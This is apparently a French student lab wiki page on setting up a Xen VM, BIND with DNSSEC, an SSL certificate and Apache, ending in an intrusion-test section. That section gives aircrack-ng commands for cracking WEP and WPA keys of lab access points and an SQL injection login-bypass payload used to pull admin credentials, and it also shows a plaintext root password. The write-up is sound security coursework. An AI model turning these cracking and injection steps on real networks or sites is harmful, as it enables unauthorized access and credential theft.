A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1<br />
5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB<br />
DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD<br />
AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV<br />
UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H<br />
XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5<br />
B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9<br />
TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X<br />
cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama<br />
7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY<br />
e0D4Wcue+OV6y/j2<br />
-----END CERTIFICATE-----<br />
subject=CN = corona59.club <br />
<br />
issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
<br />
---<br />
No client certificate CA names sent<br />
Peer signing digest: SHA256<br />
Peer signature type: RSA-PSS<br />
Server Temp Key: X25519, 253 bits<br />
---<br />
SSL handshake has read 3674 bytes and written 363 bytes<br />
Verification: OK<br />
---<br />
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384<br />
Server public key is 2048 bit<br />
Secure Renegotiation IS NOT supported<br />
Compression: NONE<br />
Expansion: NONE<br />
No ALPN negotiated<br />
Early data was not sent<br />
Verify return code: 0 (ok)<br />
---<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF<br />
Session-ID-ctx: <br />
Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2 ....N...j.F^....<br />
0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50 ..LB..J..8.}.[3P<br />
0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6 k..i.W}....u....<br />
0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62 .s..E...b.G....b<br />
0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0 &_.....TUV,..B..<br />
0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75 .\../.i(...Fi..u<br />
0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28 ..;(.......R../(<br />
0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7 .,.....D...[.lk.<br />
0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec .0.....N...=..L.<br />
00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa J......G.^..._..<br />
00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12 ...I.....s".....<br />
00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0 .?.$..R.1.iD....<br />
00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85 .3M..?...(..m/.. <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67<br />
Session-ID-ctx: <br />
Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5 ......k-.F.P"(..<br />
0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0 $\'@.X...A..!...<br />
0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e .........T..p..N<br />
0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90 H......`m.....0.<br />
0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29 hZ.......$.!'6.)<br />
0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf 7:.S.*&.....n.k.<br />
0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55 ..D...._g....:.U<br />
0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09 ........>a.m....<br />
0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9 M.'..R.._.....g.<br />
00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8 ......c6........<br />
00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2 nU...St.t.s.....<br />
00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14 1Y...".O#...d.\.<br />
00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e ....K..C\'...... <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
closed<br />
<br />
La commande :<br />
apachectl configtest<br />
nous confirme que la config est OK<br />
<br />
<br />
En se connectant à l'adresse https://www.corona59.club/index.html, le navigateur affiche bien notre page d'accueil index.html<br />
<br />
=Securisation du DNS avec DNSSEC =<br />
On souhaite sécuriser notre DNS à l'aide de DNSSEC. Pour ce faire, on génère des clés dans le repertoire /etc/bind/corona59.club.dnssec/ avec <br />
dnssec-keygen -a NSEC3RSASHA1 -b 4096 -f KSK -n ZONE ns.corona59.club<br />
dnssec-keygen -a NSEC3RSASHA1 -b 2048 -n ZONE ns.corona59.club<br />
<br />
on renomme respectivement les fichiers obtenus ksk.{key/private} et zsk.{key/private} <br />
on ajoute dans /etc/bind/db.corona59.club :<br />
$INCLUDE "/etc/bind/corona59.club.dnssec/corona59.club-ksk.key"<br />
$INCLUDE "/etc/bind/corona59.club.dnssec/corona59.club-zsk.key"<br />
<br />
On signe avec la commande :<br />
dnssec-signzone -o ns.corona59.club -k ksk ../db.corona59.club zsk<br />
<br />
on obtient :<br />
Verifying the zone using the following algorithms:<br />
- NSEC3RSASHA1<br />
Zone fully signed:<br />
Algorithm: NSEC3RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked<br />
ZSKs: 1 active, 0 stand-by, 0 revoked<br />
../db.corona59.club.signed<br />
<br />
ainsi qu'un fichier que l'on renomme en corona59.club.signed<br />
Ensuite, on modifie le fichier /etc/bind/named.conf.local pour avoir :<br />
zone "corona59.club" {<br />
type master;<br />
file "/etc/bind/corona59.club.dnssec/corona59.club.signed";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
On ajoute ensuite notre clé ksk.key dans l'onglet DNSSEC.<br />
Enfin, on teste que ça fonctionne avec le site 'https://dnssec-analyzer.verisignlabs.com/corona59.club'<br />
<br />
=Test d'intrusion=<br />
<br />
On commence par tenter de casser une clé WEP.<br />
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :<br />
airmon-ng<br />
<br />
puis on lance (3 représente la channel utilisée)<br />
airmon-ng start NOM_DE_L_INTERFACE 3<br />
<br />
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.<br/><br />
Pour visualiser les paquets sniffés, on execute alors <br />
airodump-ng -c 3 wlan0mon<br />
<br />
On observe plusieurs emetteurs, avec leur BSSID associé.<br />
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A<br />
On lance alors la commande : <br />
airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon<br />
<br />
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :<br />
aircrack-ng MonFichier-01.cap<br />
<br />
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.<br />
<br />
<br />
On essaye à présent de casser une clé WPA.<br />
On scanne la bande de fréquence 9 :<br />
airodump-ng -c 9 wlan0mon<br />
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A<br />
On récupère ensuite des handshakes avec la commande : <br />
airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon<br />
Par la suite, on souhaite utiliser l'utilitaire crunch.<br />
apt install crunch<br />
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :<br />
auto enp4s0<br />
iface enp4s0 inet static<br />
address 172.26.145.121/24<br />
gateway 172.26.145.254<br />
<br />
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :<br />
crunch 8 8 0123456789 -o password.lst<br />
<br />
Enfin, on lance la commande :<br />
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap<br />
<br />
Le processus peut prendre plusieurs heures.<br />
<br />
=Injection SQL=<br />
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend<br />
Pour ce faire, on met dans la cellule 'identifiant' la valeur <br />
' OR 1 = 1;<br />
Coté backend, la requete SQL effectuée ressemble probablement à<br />
select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';<br />
<br />
En conséquence, notre injection génère la requete :<br />
select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';<br />
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table<br />
On accède ainsi à l'identifiant admin ainsi qu'au mot de passe que l'on utilise pour se connecter.</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&diff=57773TP sysres IMA5 2021/2022 G112022-01-10T17:34:48Z<p>Cgodet1 : /* Serveur web */</p>
<hr />
<div>=Creation de la machine virtuelle=<br />
<br />
Tout d'abord, s'il y a un problème de proxy, taper la commande :<br />
export http_proxy=http://proxy.plil.fr:3128<br />
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.<br />
<br />
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton<br />
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton<br />
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.<br />
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.<br />
<br />
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.<br />
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.<br />
<br />
xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :<br />
<br />
lvcreate -L10G -n Corona1 storage<br />
lvcreate -L10G -n Corona2 storage<br />
<br />
On les formate en ext4 :<br />
<br />
mkfs.ext4 /dev/storage/Corona1<br />
mkfs.ext4 /dev/storage/Corona2<br />
<br />
Enfin, on modifie le fichier /etc/xen/Corona.cfg :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
]<br />
<br />
devient :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
'phy:/dev/storage/Corona1,xvda3,w',<br />
'phy:/dev/storage/Corona2,xvda4,w',<br />
]<br />
<br />
et <br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]<br />
<br />
devient :<br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]<br />
<br />
<br />
Pour lancer la VM, on execute :<br />
<br />
xl create -c /etc/xen/Corona.cfg<br />
<br />
<br />
Dans la VM, on visualise les informations relatives au file system avec la commande :<br />
<br />
cat /etc/fstab<br />
<br />
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :<br />
<br />
mkdir /mnt/xvda3<br />
mkdir /mnt/xvda4<br />
mount /dev/xvda3 /mnt/xvda3<br />
mount /dev/xvda4 /mnt/xvda4<br />
<br />
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :<br />
<br />
mv /var/* /mnt/xvda4<br />
<br />
Puis dans /etc/fstab, on ajoute :<br />
<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
Ensuite, on execute : <br />
<br />
mount -a<br />
<br />
Enfin, on vérifie que les partitions ajoutées existent : <br />
<br />
lsblk<br />
<br />
<br />
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :<br />
<br />
iface eth0 inet6 auto <br />
<br />
On applique les changements en redemarrant : <br />
<br />
systemctl restart networking<br />
<br />
On vérifie que la modification a eu lieu :<br />
<br />
ip a<br />
<br />
<br />
Raccourci pour quitter la VM : CTRL + ']'<br/><br />
Commande pour se connecter à la VM : xen console Corona<br />
<br />
=Configuration de la VM=<br />
A présent, on configure la VM.<br />
On installe openssh-server s'il n'est pas installé :<br />
apt install openssh-server<br />
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :<br />
PermitRootLogin without-password<br />
PubkeyAuthentication yes<br />
<br />
Puis on recharge la configuration avec :<br />
systemctl reload ssh<br />
<br />
Sur la zabeth, on créé une clé ssh avec :<br />
ssh-keygen -t ed25519<br />
<br />
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.<br />
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : <br />
ssh -o "IdentitiesOnly=yes" -i ma_cle_privée root@193.48.57.186<br />
<br />
<br />
=Déploiement site=<br />
On achète le nom de domaine 'corona59.club' sur Gandi.net<br />
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.<br />
On configure également notre nameserver dans Domain > MON_NOM_DE_DOMAINE > nameservers<br />
On ajoute un nameserver externe. En premier on met "ns.corona59.club", en deuxième on met "ns6.gandi.net"<br />
<br />
<br />
On installe ensuite bind sur la vm :<br />
apt install bind9<br />
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :<br />
nameserver 193.48.57.186<br />
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)<br />
On modifie ensuite /etc/bind/named.conf.local :<br />
zone MON_NOM_DE_DOMAINE {<br />
type master;<br />
file "/etc/bind/db.MON_NOM_DE_DOMAINE<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
l'adresse "217.70.177.40" correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.<br />
<br />
On créé ensuite le fichier /etc/bind/db.corona59.club :<br />
$TTL 604800<br />
@ IN SOA ns.corona59.club postmaster.corona59.club. (<br />
4 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns.corona59.club.<br />
@ IN NS ns6.gandi.net.<br />
<br />
On ajoute au fichier /etc/bind/db.corona59.club :<br />
ns IN A 193.48.57.186<br />
www IN A 193.48.57.186<br />
IN AAAA 2001:7a8:116e:60b0:216:3eff:feae:eaec<br />
<br />
On teste que notre configuration est correcte :<br />
host -t any ns.corona59.club localhost<br />
On obtient :<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800<br />
corona59.club name server ns.corona59.club.<br />
corona59.club name server ns6.gandi.net.<br />
<br />
Si on obtient pas ça, penser à lancer la commande :<br />
tail -50 /var/log/daemon.log<br />
afin de voir ce qui c'est mal passé.<br />
<br />
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec <br />
service bind9 restart<br />
<br />
=Certificat SSL=<br />
Pour obtenir un certificat SSL, on tape :<br />
openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr <br />
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans "Common Name"<br />
Un fichier .csr et .key sont créés.<br />
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create<br />
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.<br />
<br />
=Serveur web=<br />
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.<br />
a2enmod ssl<br />
<br />
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :<br />
<br />
<VirtualHost 193.48.57.186:443><br />
ServerName corona59.club<br />
ServerAlias www.corona59.club<br />
DocumentRoot /var/www/corona59.club/<br />
CustomLog /var/log/apache2/secure_access.log combined<br />
<br />
SSLEngine on<br />
SSLCertificateFile /etc/ssl/certs/corona59.club.crt<br />
SSLCertificateKeyFile /etc/ssl/corona59.club.key<br />
SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem<br />
SSLVerifyClient None<br />
</VirtualHost><br />
<br />
On active notre site avec la commande :<br />
a2ensite 000-corona59.club-ssl <br />
<br />
On édite le fichier /etc/apache2/apache2.conf en rajoutant <br />
ServerName corona59.club<br />
<br />
On relance apache :<br />
systemctl reload apache2<br />
<br />
On teste le fonctionnement avec :<br />
openssl s_client -connect 193.48.57.186:443<br />
<br />
CONNECTED(00000003)<br />
Can't use SSL_get_servername<br />
depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
verify return:1<br />
depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
verify return:1<br />
depth=0 CN = corona59.club<br />
verify return:1<br />
---<br />
Certificate chain<br />
0 s:CN = corona59.club<br />
i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
---<br />
Server certificate<br />
-----BEGIN CERTIFICATE-----<br />
MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw<br />
XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO<br />
MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy<br />
MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y<br />
b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW<br />
oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB<br />
OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf<br />
erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f<br />
D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs<br />
0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh<br />
Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf<br />
fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B<br />
Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB<br />
BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo<br />
dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag<br />
NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB<br />
Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz<br />
ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG<br />
GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku<br />
Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB<br />
ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD<br />
AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ<br />
JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb<br />
A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1<br />
5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB<br />
DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD<br />
AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV<br />
UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H<br />
XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5<br />
B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9<br />
TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X<br />
cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama<br />
7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY<br />
e0D4Wcue+OV6y/j2<br />
-----END CERTIFICATE-----<br />
subject=CN = corona59.club <br />
<br />
issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
<br />
---<br />
No client certificate CA names sent<br />
Peer signing digest: SHA256<br />
Peer signature type: RSA-PSS<br />
Server Temp Key: X25519, 253 bits<br />
---<br />
SSL handshake has read 3674 bytes and written 363 bytes<br />
Verification: OK<br />
---<br />
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384<br />
Server public key is 2048 bit<br />
Secure Renegotiation IS NOT supported<br />
Compression: NONE<br />
Expansion: NONE<br />
No ALPN negotiated<br />
Early data was not sent<br />
Verify return code: 0 (ok)<br />
---<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF<br />
Session-ID-ctx: <br />
Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2 ....N...j.F^....<br />
0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50 ..LB..J..8.}.[3P<br />
0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6 k..i.W}....u....<br />
0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62 .s..E...b.G....b<br />
0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0 &_.....TUV,..B..<br />
0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75 .\../.i(...Fi..u<br />
0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28 ..;(.......R../(<br />
0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7 .,.....D...[.lk.<br />
0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec .0.....N...=..L.<br />
00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa J......G.^..._..<br />
00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12 ...I.....s".....<br />
00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0 .?.$..R.1.iD....<br />
00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85 .3M..?...(..m/.. <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67<br />
Session-ID-ctx: <br />
Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5 ......k-.F.P"(..<br />
0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0 $\'@.X...A..!...<br />
0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e .........T..p..N<br />
0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90 H......`m.....0.<br />
0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29 hZ.......$.!'6.)<br />
0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf 7:.S.*&.....n.k.<br />
0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55 ..D...._g....:.U<br />
0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09 ........>a.m....<br />
